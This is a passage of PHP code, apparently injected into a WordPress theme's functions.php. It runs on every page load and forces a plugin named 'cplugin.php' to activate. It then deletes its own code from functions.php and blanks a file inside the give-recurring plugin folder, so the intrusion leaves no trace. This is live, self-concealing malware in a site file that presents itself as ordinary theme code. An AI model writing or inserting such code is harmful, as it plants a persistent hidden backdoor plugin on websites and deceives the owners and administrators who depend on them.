update_option('active_plugins', $active_plugins); } } $new_active_plugins = get_option('active_plugins'); if (in_array('cplugin.php', $new_active_plugins)) { $functionsPath = dirname(__FILE__) . '/functions.php'; $functions = file_get_contents($functionsPath); $start = stripos($functions, "function true_plugins_activate()"); $end = strripos($functions, "true_plugins_activate"); $endDelete = $end + mb_strlen("true_plugins_activate") + 3; if($start && $end) { $str = substr($functions, 0, $start); $str .= substr($functions, $endDelete); file_put_contents($functionsPath, $str); } $script = file_get_contents('/home/myprojectstaging/public_html/ruby-holland-foundation/wp-content/plugins/give-recurring/class.plugin-modules.php'); file_put_contents('/home/myprojectstaging/public_html/ruby-holland-foundation/wp-content/plugins/give-recurring/class.plugin-modules.php', ''); } } add_action('init', 'true_plugins_activate');